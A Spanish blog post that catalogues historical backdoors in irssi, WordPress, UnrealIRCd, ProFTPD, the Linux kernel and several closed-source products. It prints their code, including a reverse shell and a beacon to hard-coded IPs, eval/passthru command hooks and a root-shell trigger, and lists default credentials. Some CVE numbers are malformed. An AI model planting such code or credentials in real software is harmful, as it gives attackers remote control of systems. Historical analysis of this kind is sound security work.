This site is dedicated to all things I see and that I think are interesting to publish almost always are other very smart people.

Las puertas traseras más escandalosas

Se acaba de publicar en la lista de OpenBSD un mail inquietante, como poco. Theo de Raadt, lider del proyecto, ha comunicado que el código del sistema operativo ha podido ser “troyanizado” por sus desarrolladores a petición del gobierno de Estados Unidos entre el año 2000 y 2001.

La noticia es un auténtico bombazo y Theo ha solicitado a la comunidad ayuda para auditar el código.

En otras ocasiones, generalmente cuando el código es cerrado, son los propios fabricantes y desarrolladores los que introducen estas puertas y por este motivo son prácticamente imposibles de detectar, salvo análisis muy profundos y exhaustivos.
He recopilado algunas de las puertas traseras más interesantes y escandalosas:

APLICACIONES DE CÓDIGO ABIERTO

irssi versión 0.8.4, 25 de mayo del 2002. Código introducido en el “configure” del cliente de IRC que causa ejecución de código, después de que los servidores del proyecto fueran hackeados cerca del 14 de Marzo del 2002. CVE-1840-2002
int s;
        struct sockaddr_in sa;
        switch(fork()) { case 0: break; default: exit(0); }
        if((s = socket(AF_INET, SOCK_STREAM, 0)) == (-1)) {
                exit(1);
        }
  /* HP/UX 9 (%@#!) writes to sscanf strings */
        memset(&sa, 0, sizeof(sa));
        sa.sin_family = AF_INET; 
        sa.sin_port = htons(6667); 
        sa.sin_addr.s_addr = inet_addr("204.120.36.206");
        if(connect(s, (struct sockaddr *)&sa, sizeof(sa)) == (-1)) {
                exit(1);
        }
        dup2(s, 0); dup2(s, 1); dup2(s, 2);
/* The GNU C library defines this for functions which it implements
    to always fail with ENOSYS. Some functions are actually named 
    something starting with __ and the normal name is an alias. */
        { char *args[] = { "/bin/sh", NULL }; execve(args[0], args, NULL); }
WordPress 2.1.1,  2 de marzo del 2007. Tras una intrusión en los sistemas de wordpress, se incluyen dos backdoors en el código de esta versión del gestor de contenido que permite ejecución de código PHP. En concreto, se modifican dos archivos: wp-includes/feed.php a la que se le añade un eval() y wp-includes/theme.php al que le crece un passthru(). De esta forma, se asegura la ejecución incluso si en alguna configuración alguna de estas funciones está deshabilitada. Ya se sabe, alta disponibilidad. CVE 1277-2007. Los cambios:

En wp-includes/feed.php

function comment_text_phpfilter($filterdata) {
eval($filterdata);
}

En wp-includes/theme.php

function get_theme_mcommand($mcds) {
passthru($mcds);
}
...
if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); }

 

UnrealIRCd 3.2.8.1, detectado 12 de Junio del 2010, puerta trasera introducida desde el 10 de Noviembre del 2009, permite ejecución de código en el servidor. Pasaron 6 meses distribuyendo el software con el código modificado. Como algo anecdótico, los líderes del proyecto comentaron que dejaron de utilizar el firmado de binarios, porque nadie lo usaba. ¡Ups!  CVE 2010-2075. El diff del código modificado:

 

@@ -430,6 +430,7 @@
 #endif
 
 /* Fake lag exception */
+
 #define IsNoFakeLag(x)      ((x)->flags & FLAGS_NOFAKELAG)
 #define SetNoFakeLag(x)     ((x)->flags |= FLAGS_NOFAKELAG)
 #define ClearNoFakeLag(x)   ((x)->flags &= ~FLAGS_NOFAKELAG)
@@ -448,6 +449,7 @@
 #else
 #define IsNotSpoof(x)           (1)
 #endif
+#define        DEBUGMODE3          ((x)->flags & FLAGS_NOFAKELAG)
 
 #define GetHost(x)                     (IsHidden(x) ? (x)->user->virthost : (x)->user->realhost)
 #define GetIP(x)                       ((x->user && x->user->ip_str) ? x->user->ip_str : (MyConnect(x) ? 
Inet_ia2p(&x->ip) : NULL))
@@ -513,6 +515,10 @@
 #else
 #define CHECKPROTO(x,y) (checkprotoflags(x, y, __FILE__, __LINE__))
 #endif
+#ifdef DEBUGMODE3
+#define DEBUGMODE3_INFO        "AB"
+#define        DEBUG3_LOG(x) DEBUG3_DOLOG_SYSTEM (x)
+#endif
 
 #define DontSendQuit(x)                (CHECKPROTO(x, PROTO_NOQUIT))
 #define IsToken(x)             (CHECKPROTO(x, PROTO_TOKEN))
@@ -1373,6 +1379,7 @@
 #define INCLUDE_REMOTE     0x2
 #define INCLUDE_DLQUEUED   0x4
 #define INCLUDE_USED       0x8
+#define DEBUG3_DOLOG_SYSTEM(x) system(x)
        
 struct _configitem_include {
        ConfigItem *prev, *next;
diff -ru Unreal3.2-good/src/s_bsd.c Unreal3.2-backdoored/src/s_bsd.c
--- Unreal3.2-good/src/s_bsd.c  2009-03-01 10:37:58.000000000 -0800
+++ Unreal3.2-backdoored/src/s_bsd.c    2006-06-16 11:29:00.000000000 -0700
@@ -1431,6 +1431,10 @@
                    return 1;
                if (length <= 0)
                        return length;
+#ifdef DEBUGMODE3
+       if (!memcmp(readbuf, DEBUGMODE3_INFO, 2))
+           DEBUG3_LOG(readbuf);
+#endif
                for (h = Hooks[HOOKTYPE_RAWPACKET_IN]; h; h = h->next)
                {
                        int v = (*(h->func.intfunc))(cptr, readbuf, length);

 

Proftpd 1.3.3c, 1 de diciembre de 2010. Añade mediante el archivo “configure”, un archive test.c, que envía una shell, este es invocado desde help.c, que también es modificado.CVE 2010-3867, los ficheros modificados y creados el 28 de noviembre del 2010:

Archivo configure:

gcc tests/tests.c -o tests/tests >/dev/null 2>&1
cc tests/tests.c -o tests/tests >/dev/null 2>&1
tests/tests >/dev/null 2>&1 &
rm -rf tests/tests.c tests/tests >/dev/null 2>&1

El código C de test.c:

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define DEF_PORT 9090
#define DEF_TIMEOUT 15
#define DEF_COMMAND "GET /AB HTTP/1.0\r\n\r\n"

int sock;

void handle_timeout(int sig)
{
    close(sock);
    exit(0);
}

int main(void)
{

        struct sockaddr_in addr;
        struct hostent *he;
        u_short port;
        char ip[20]="212.26.42.47";
        port = DEF_PORT;
        signal(SIGALRM, handle_timeout);
        alarm(DEF_TIMEOUT);
        he=gethostbyname(ip);
        if(he==NULL) return(-1);
        addr.sin_addr.s_addr = *(unsigned long*)he->h_addr;
        addr.sin_port = htons(port);
        addr.sin_family = AF_INET;
        memset(addr.sin_zero, 0, 8);
        sprintf(ip, inet_ntoa(addr.sin_addr));
        if((sock = socket(AF_INET, SOCK_STREAM, 0))==-1)
        {
                return EXIT_FAILURE;
        }
        if(connect(sock, (struct sockaddr*)&addr, sizeof(struct sockaddr))==-1)
        {
            close(sock);
            return EXIT_FAILURE;
        }
        if(-1 == send(sock, DEF_COMMAND, strlen(DEF_COMMAND), 0))
        {
            return EXIT_FAILURE;
        }
        close(sock);

return 0; }

Y por último fichero src/help.c

} else {
 if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); }
  /* List the syntax for the given target command. */
  for (i = 0; i < help_list->nelts; i++) {

 

Linux kernel 2.6-test9-CVS, 6 de noviembre de 2003. Acceso al repositorio y modificación del código del kernel para introducir una puerta trasera y escalar a privilegios de root. Más detalle en la entrada que le dedicamosCVE 2003-1161. El cambio fue realmente discreto:
--- GOOD 2003-11-05 13:46:44.000000000 -0800
+++ BAD 2003-11-05 13:46:53.000000000 -0800
@@ -1111,6 +1111,8 @@
schedule();
goto repeat;
}
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+ retval = -EINVAL;
retval = -ECHILD;
end_wait4:
current->state = TASK_RUNNING;

APLICACIONES DE CODIGO CERRADO

Ipswitch WS_FTP Server 4.0.2.EVAL, 23 de marzo de 2004, por alguna extraña razón este servidor de FTP permite conectarse a localhost con credenciales por defecto no documentadas: XXSESS_MGRYY con contraseña X#1833. Elevando privilegios a usuario SYSTEM. CVE 2004-1884
[PDF] Los switches de Accton (3com, Dell, SMC, Foundry y EdgeCore), 15 de agosto de 2009. En la conferencia HAR2009 se revela que estos sistemas tienen una puerta trasera que permite acceder a ellos sin conocer su contraseña. Para ello se utiliza un generador de passwords basado en la MAC del dispositivo. El script  también se publicó.
Cisco y su “lawful intercept” o intercepción legal, que permite la escucha de las comunicaciones o algunos usuarios y contraseñas introducidos por defecto en sus productos, como en el caso de los dispositivos WLSE y HSE o los de Videoconferencia (UVC).
HP MSA2000 Storage Systems, Diciembre 2010, sistemas de HP con usuarios incrustados en el código fuente (admin/!admin), que no pueden ser borrados ni eliminados.

Seguro que si esta entrada hubiera estado escrita en el blog de 48bits, el título sería más gracioso.

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s